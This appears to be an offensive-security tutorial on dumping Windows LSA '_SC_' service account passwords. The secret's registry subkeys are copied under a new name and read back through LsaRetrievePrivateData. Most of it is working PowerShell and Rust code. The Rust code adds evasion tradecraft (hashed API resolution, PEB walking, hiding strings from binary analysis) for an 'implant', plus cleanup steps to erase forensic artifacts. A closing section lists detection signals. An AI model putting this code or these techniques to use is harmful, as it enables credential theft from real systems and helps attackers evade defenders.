Skip to content

LSA Secrets: Reading _SC_ Service Passwords with the Registry Copy Trick

You are SYSTEM on a domain-joined Windows box. You want the service account passwords stored in the LSA secret vault. The direct API path (LsaOpenSecret / LsaQuerySecret) works for DPAPI_SYSTEM and $MACHINE.ACC, but _SC_ prefixed secrets, the ones holding service account passwords, return ACCESS_DENIED even under SYSTEM. So you copy the encrypted registry blobs to a temp key and read them through LsaRetrievePrivateData instead.

Where secrets live

LSA secrets sit under HKLM:\SECURITY\Policy\Secrets\. Each secret is a key with five subkeys:

HKLM:\SECURITY\Policy\Secrets\<SecretName>\
    CurrVal     ← current encrypted blob
    OldVal      ← previous value (password rotation)
    CupdTime    ← current update timestamp
    OupdTime    ← old update timestamp
    SecDesc     ← security descriptor

The SECURITY hive is only accessible to SYSTEM. Even as local admin you need psexec -s or equivalent to open it. The blobs are encrypted with a key chain rooted in the LSA policy encryption key, which itself is derived from the SYSKEY (boot key). You never touch any of that, the LSA decrypts internally when you call the right API.

The direct path, what works

LsaOpenSecret + LsaQuerySecret read secrets by name. For non-_SC_ secrets this is clean:

LsaOpenPolicy(NULL, &oa, POLICY_ALL_ACCESS, &hPolicy)
LsaOpenSecret(hPolicy, "DPAPI_SYSTEM", SECRET_QUERY_VALUE, &hSecret)
LsaQuerySecret(hSecret, &currentValue, NULL, NULL, NULL)
→ plaintext in currentValue->Buffer

DPAPI_SYSTEM, $MACHINE.ACC, NL$KM, DefaultPassword, all readable this way.

The problem, _SC_ secrets

Try LsaOpenSecret on _SC_TargetService and you get STATUS_ACCESS_DENIED (0xC0000022). SYSTEM token, full policy access, correct SECRET_QUERY_VALUE mask, does not matter. The LSA applies an additional ACL check on secrets with the _SC_ prefix that blocks even SYSTEM from the LsaOpenSecret path.

The bypass, registry copy + LsaRetrievePrivateData

LsaRetrievePrivateData reads a secret by name but does not enforce the same ACL gate. It looks up HKLM:\SECURITY\Policy\Secrets\<name>\CurrVal, decrypts the blob using the live LSA key chain, and hands you plaintext.

The trick: copy the target secret's five subkeys to a new key with a clean name, then point LsaRetrievePrivateData at the copy.

Stage the copy (PowerShell)

$subkeys = "CurrVal","OldVal","OupdTime","CupdTime","SecDesc"
$src = "HKLM:\SECURITY\Policy\Secrets\_SC_TargetService"
$dst = "HKLM:\SECURITY\Policy\Secrets\TempSecret2"

New-Item -Path $dst -Force
foreach ($s in $subkeys) {
    New-Item -Path "$dst\$s" -Force | Out-Null
    $val = (Get-ItemProperty "$src\$s").'(default)'
    Set-ItemProperty -Path "$dst\$s" -Name '(default)' -Value $val
}

All five subkeys must be present. LsaRetrievePrivateData validates the structure; skip SecDesc and the call returns STATUS_OBJECT_NAME_NOT_FOUND.

Copy as many _SC_ secrets as you need. Each gets its own TempSecret<N> key.

Why not just NtSetValueKey from Rust?

You can. The Rust tool already resolves NtCreateKey, NtSetValueKey, and NtDeleteKey hashes, the full registry path could be done without PowerShell. PowerShell is faster to iterate during an engagement. For a production implant you would do the whole chain in a single binary.

Read the secret (Rust)

Where the APIs actually live

This is the part that wastes time if you do not know it. On modern Windows (10 / Server 2016+), the LSA client functions are forwarded across multiple DLLs:

Function Documented in Actually exported by
LsaOpenPolicy advapi32.dll sechost.dll
LsaRetrievePrivateData advapi32.dll sechost.dll
LsaOpenSecret advapi32.dll sspicli.dll
LsaQuerySecret advapi32.dll sspicli.dll
LsaClose advapi32.dll sechost.dll

If you resolve via PEB walk + export table parsing, you must target the real DLL. The forwarder stub in advapi32 does not have a function body at the RVA, following it gives you garbage. secur32.dll has the same problem; it forwards to sspicli.dll.

Load the DLLs

sspicli.dll and sechost.dll may not be loaded yet. Use LdrLoadDll from ntdll, you already have ntdll from the initial PEB walk, so there is no reason to resolve kernel32!LoadLibraryW.

// LdrLoadDll is an ntdll export — no kernel32 dependency
let ldr_load: FnLdrLoadDll = transmute(get_proc(ntdll, H_LDRLOADDLL));

// Build "sspicli.dll" as UTF-16, load it, then PEB-walk to get the base
let sspicli_name = build_sspicli_wide();
let sspicli_ustr = UnicodeString {
    length: ((sspicli_name.len() - 1) * 2) as u16,
    maximum_length: (sspicli_name.len() * 2) as u16,
    buffer: sspicli_name.as_ptr() as *mut u16,
};
ldr_load(ptr::null(), ptr::null_mut(), &sspicli_ustr, &mut sspicli_handle);
let sspicli = get_module(H_SSPICLI);

Same pattern for sechost.dll. The build_*_wide() helpers construct the DLL name as Vec<u16> character by character, avoids a UTF-8 literal that shows up in strings output.

Resolve the functions

// All three come from sechost on modern Windows
let lsaop:       FnLsaOpenPolicy          = transmute(get_proc(sechost, H_LSAOPENPOLICY));
let lsaretrieve: FnLsaRetrievePrivateData = transmute(get_proc(sechost, H_LSARETRIEVEPRIVATEDATA));
let lsaclose:    FnLsaClose               = transmute(get_proc(sechost, H_LSACLOSE));

SDBM hashes are compile-time constants. No API name strings in the binary.

const H_LSARETRIEVEPRIVATEDATA: u32 = sdbm(b"LsaRetrievePrivateData");
const H_LSAOPENPOLICY: u32          = sdbm(b"LsaOpenPolicy");
const H_LSACLOSE: u32               = sdbm(b"LsaClose");

Open policy, retrieve, read

// Policy handle — POLICY_ALL_ACCESS on local system
let mut policy_handle: LsaHandle = zeroed();
let status = lsaop(
    ptr::null_mut(),             // NULL = local machine
    &mut object_attributes,      // zeroed struct, length field set
    POLICY_ALL_ACCESS,           // 0x00F0FFF
    &mut policy_handle,
);
// status != 0 → check NTSTATUS, usually means you are not SYSTEM
// Point at the copied secret, not the _SC_ original
let secret_name = to_wide("TempSecret2");
let mut lsa_string = LsaUnicodeString {
    length: ((secret_name.len() - 1) * 2) as u16,     // byte length, exclude null
    maximumlength: (secret_name.len() * 2) as u16,    // byte length, include null
    buffer: PWSTR(secret_name.as_ptr() as *mut u16),
};

let mut private_data: *mut LsaUnicodeString = ptr::null_mut();
let status = lsaretrieve(policy_handle, &mut lsa_string, &mut private_data);
// The buffer is the plaintext service account password as UTF-16
if !private_data.is_null() {
    let secret = &*private_data;
    let buf = std::slice::from_raw_parts(
        secret.buffer.0,
        secret.length as usize / 2,
    );
    println!("{}", String::from_utf16_lossy(buf));
}

lsaclose(policy_handle);

For _SC_ secrets the buffer is always a Unicode string, the service account password. For DPAPI_SYSTEM or $MACHINE.ACC the buffer is raw bytes (key material / NT hash), not a printable string. Handle accordingly.

Cleanup

Delete every TempSecret* key you created. Leftover keys are forensic artifacts.

Remove-Item -Path "HKLM:\SECURITY\Policy\Secrets\TempSecret2" -Recurse -Force

Or from the Rust binary via NtDeleteKey, the hashes are already resolved. On a real engagement, check HKLM:\SECURITY\Policy\Secrets\TempSecret* on every host you touched.

Detection

Registry auditing. SACL on HKLM\SECURITY\Policy\Secrets catches key creation. Sysmon Event ID 12 (CreateKey) and 13 (SetValue) on anything under the Secrets path that is not a known service name.

Anomalous API calls. LsaRetrievePrivateData called from a process that is not lsass.exe or services.exe is suspicious. ETW Microsoft-Windows-Security-Auditing event 4662 (object access) may fire depending on audit policy.

Leftover artifacts. Keys named TempSecret* under the Secrets hive. These do not exist in any legitimate Windows or third-party configuration.

Notes

POLICY_ALL_ACCESS requires SYSTEM. If you only have admin, use POLICY_GET_PRIVATE_INFORMATION (0x4), it is sufficient for LsaRetrievePrivateData and does not require the full policy mask.

The LsaUnicodeString length/maximum_length fields are in bytes, not characters. Off-by-one here gives you truncated output or a read past the buffer.

build_sspicli_wide() and friends exist to keep DLL name strings out of the .rdata section. A to_wide("sspicli.dll") call compiles the UTF-8 literal into the binary. The character-by-character construction does not.